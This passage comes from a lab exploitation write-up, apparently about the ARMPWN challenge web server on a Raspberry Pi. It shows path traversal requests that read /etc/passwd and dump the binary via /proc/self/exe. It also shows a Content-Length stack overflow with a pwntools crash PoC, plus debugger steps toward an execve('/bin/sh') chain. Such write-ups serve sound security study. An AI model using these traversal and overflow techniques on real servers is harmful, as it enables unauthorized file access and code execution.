&lt;code&gt;http:&#x2F;&#x2F;foo&#x2F;..&#x2F;..&#x2F;..&#x2F;another&#x2F;path&lt;&#x2F;code&gt;, the tools will automatically solve it as
&lt;code&gt;http:&#x2F;&#x2F;foo&#x2F;another&#x2F;path&lt;&#x2F;code&gt; even before the request leaves my computer. This is
(IMHO) a bad feature for pentesters&#x2F;bug hunters as it may lead to missing out some easy
vulns (just like here!). So again, only one rule apply: trust only your own
tools!&lt;&#x2F;p&gt;
&lt;p&gt;Back to business: we can now read files remotely like &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt; but we can
also retrieve the binary using &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;exe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -c &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;import requests;print requests.get(&amp;quot;http:&#x2F;&#x2F;&amp;quot;+&amp;quot;rpi2-1&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;proc&#x2F;self&#x2F;cmdline&amp;quot;).text&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HTTP&#x2F;1.1&lt;&#x2F;span&gt;&lt;span&gt; 200 OK
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Content-Type:&lt;&#x2F;span&gt;&lt;span&gt; text&#x2F;html
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Content-Length:&lt;&#x2F;span&gt;&lt;span&gt; 0
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;&#x2F;home&#x2F;pi&#x2F;armpwn&#x2F;bin&#x2F;websrv
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -c &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;import requests;print
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;requests.get(&amp;quot;http:&#x2F;&#x2F;&amp;quot;+&amp;quot;rpi2-1&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;proc&#x2F;self&#x2F;exe&amp;quot;).text&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &amp;gt; websrv
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; file websrv
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;websrv:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib&#x2F;ld-linux-armhf.so.3, for GNU&#x2F;Linux 2.6.26, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=5b3aa53d30579a7f7f0b9cb1eedfb06b1884e112, stripped
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Much better, we have the binary to analyze! This part was pretty
straight-forward, let’s move on.&lt;&#x2F;p&gt;
&lt;p&gt;Next, the binary analysis.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;reversing-the-binary&quot;&gt;Reversing the binary&lt;&#x2F;h1&gt;
&lt;p&gt;We can use &lt;code&gt;IDA&lt;&#x2F;code&gt; to start with the static analysis. After a quick examination,
the overall structure reveals itself quite clearly.
The behaviour for the main process can be described with this pseudo-code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;create_bind_socket&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;bind&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;listen&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    fd = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;accept&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fork&lt;&#x2F;span&gt;&lt;span&gt;() &amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;){          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; child process
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;setup_alarm&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;treat_requests&lt;&#x2F;span&gt;&lt;span&gt;(fd);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;close_socket&lt;&#x2F;span&gt;&lt;span&gt;(fd);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;close_socket&lt;&#x2F;span&gt;&lt;span&gt;(fd);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The use of &lt;code&gt;fork()&lt;&#x2F;code&gt; is a good news as we know that we will be able to reuse
any address we leaked.&lt;&#x2F;p&gt;
&lt;p&gt;The forked process which executes &lt;code&gt;treat_requests()&lt;&#x2F;code&gt; is more interesting: the
function starts by reading 0x800 bytes and
look for the marker of end for HTTP headers (&lt;code&gt;CRLF&lt;&#x2F;code&gt;*2).  If not found, it will
keep iterating through the loop. Otherwise, the block read will search for the header &lt;code&gt;Content-Length&lt;&#x2F;code&gt; and if
found, will call &lt;code&gt;strtol()&lt;&#x2F;code&gt; on it to convert the pointer into a long
integer (let’s call it &lt;code&gt;N&lt;&#x2F;code&gt;).
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;awC1RfU.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;awC1RfU.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This value will be used to call read &lt;code&gt;N&lt;&#x2F;code&gt; bytes from
the socket and stored in local buffer of size 0xffc. The overflow comes clear as
we controlled the size of the &lt;code&gt;Content-Length&lt;&#x2F;code&gt; header, we can forged an HTTP
request whose body is big enough to corrupt the memory.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000015DC &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;          ; endptr
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000015E0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;         ; base
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000015E4 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BL      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;strtol
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:000015E8 SUBS    R4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;       ; N=$r4=strtol(hdrs[&amp;quot;Content-Length&amp;quot;), 10)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;00001608 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;R9&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;          ; fd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:0000160C &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;          ; stack_buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;00001610 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;          ; N
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;00001614 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;MOV     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;R3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;R10&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;         ; flags
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;.text:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;00001618 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BL      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;recv
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is quite easy to PoC, simply by sending a large buffer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;r = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;remote&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;rpi2-1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;crlf = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;head = [&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;GET . HTTP&#x2F;1.1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Host: rpi2-1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Content-Length: 10000&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sending header&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(crlf.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(head) + crlf*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sending body&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Run it and see the crash.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; py exploit.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Opening connection to rpi2-1 on port 80: Done
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; sending header
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; sending body
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Closed connection to rpi2-1 port 80
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And checking at our process, we can see:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;New&lt;&#x2F;span&gt;&lt;span&gt; connection from 192.168.69.134 on port 49539
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;192.168.69.134:49539&lt;&#x2F;span&gt;&lt;span&gt; request for file &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;index.html&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;***&lt;&#x2F;span&gt;&lt;span&gt; stack smashing detected ***: &#x2F;home&#x2F;pi&#x2F;armpwn&#x2F;bin&#x2F;websrv terminated
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So (at least) one of the vulnerabilities is a standard stack overflow. We can
confirm that by visualizing the execution flow with &lt;code&gt;GDB&lt;&#x2F;code&gt; debugger with &lt;code&gt;gef&lt;&#x2F;code&gt;
extension with &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hugsy.github.io&#x2F;gef&#x2F;commands&#x2F;trace-run&#x2F;&quot;&gt;&lt;code&gt;trace-run&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  ps&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -sa&lt;&#x2F;span&gt;&lt;span&gt; websrv
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Attaching to process=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;pi&#x2F;armpwn&#x2F;bin&#x2F;websrv&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; pid=9975
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  set follow-fork-mode child
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  bp *0x54aef4a8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Breakpoint&lt;&#x2F;span&gt;&lt;span&gt; 1 at 0x54aef4a8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  run
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...&lt;&#x2F;span&gt;&lt;span&gt; execute the PoC ...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  trace-run 0x54aef6b0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Tracing from 0x54aef4a8 to 0x54aef6b0 (max depth=1)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[wait&lt;&#x2F;span&gt;&lt;span&gt; for it...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Done, logfile stored as &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;gef-trace-0x54aef4a8-0x54aef6b0.txt&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Hint: import logfile with `&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ida_color_gdb_trace.py&lt;&#x2F;span&gt;&lt;span&gt;` script in IDA to visualize path
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By using the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;stuff&#x2F;blob&#x2F;master&#x2F;ida_scripts&#x2F;ida_color_gdb_trace.py&quot;&gt;&lt;code&gt;ida_color_gdb_trace.py&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
script, we can visualize in &lt;code&gt;IDA&lt;&#x2F;code&gt; the execution flow, that confirms our PoC and
highlights all the addresses in &lt;code&gt;$pc&lt;&#x2F;code&gt; executed.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;NXc221Q.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;NXc221Q.png&quot;

    

    
    title=&quot;ida-graph-trace.png&quot;
    alt=&quot;ida-graph-trace.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Using the &lt;code&gt;pattern&lt;&#x2F;code&gt; commands of &lt;code&gt;gef&lt;&#x2F;code&gt; we find out that we start overwriting the
canary after sending 4042 bytes.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;binary-protections&quot;&gt;Binary protections&lt;&#x2F;h3&gt;
&lt;p&gt;Even though we have a memory corruption, this is not enough since we have plenty
of protection mechanism to defeat first ☹&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;gef➤  checksec
&lt;&#x2F;span&gt;&lt;span&gt;[+] checksec for &amp;#39;&#x2F;home&#x2F;pi&#x2F;armpwn&#x2F;bin&#x2F;websrv&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;Canary:                                           Yes
&lt;&#x2F;span&gt;&lt;span&gt;NX Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span&gt;PIE Support:                                      Yes
&lt;&#x2F;span&gt;&lt;span&gt;No RPATH:                                         Yes
&lt;&#x2F;span&gt;&lt;span&gt;No RUNPATH:                                       Yes
&lt;&#x2F;span&gt;&lt;span&gt;Partial RelRO:                                    Yes
&lt;&#x2F;span&gt;&lt;span&gt;Full RelRO:                                       Yes
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And on top of all those, ASLR is on. Given the target is 32 bits, brute-force is a
realistic approach, although inelegant. One (or more) memory leak(s) can defeat
PIC &amp;amp; ASLR, let’s look for those first.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately, thanks to the Step-1 (&lt;em&gt;Web Application attack&lt;&#x2F;em&gt;), we know that we can dump the memory layout of
the process (by reading the &lt;code&gt;&#x2F;proc&#x2F;self&#x2F;maps&lt;&#x2F;code&gt;), and also download a copy of the
libc so we can call &lt;code&gt;execve()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: the stack is actually RWX but I chose not to use that.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  xinfo execve
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;──────────────────────────────────────────[&lt;&#x2F;span&gt;&lt;span&gt; xinfo: execve ]──────────────────────────────────────────
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; 0x76e3ef80
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Page:&lt;&#x2F;span&gt;&lt;span&gt; 0x76e44000 → 0x76f6b000 (size=0x127000)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Permissions:&lt;&#x2F;span&gt;&lt;span&gt; r-x
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Pathname:&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;lib&#x2F;arm-linux-gnueabihf&#x2F;libc-2.22.so
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Offset&lt;&#x2F;span&gt;&lt;span&gt; (from page)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; +0x9bf80
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Inode:&lt;&#x2F;span&gt;&lt;span&gt; 17992
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Segment:&lt;&#x2F;span&gt;&lt;span&gt; .text (0x76e59e20-0x76f4b200)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  grep &#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Searching &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; in memory
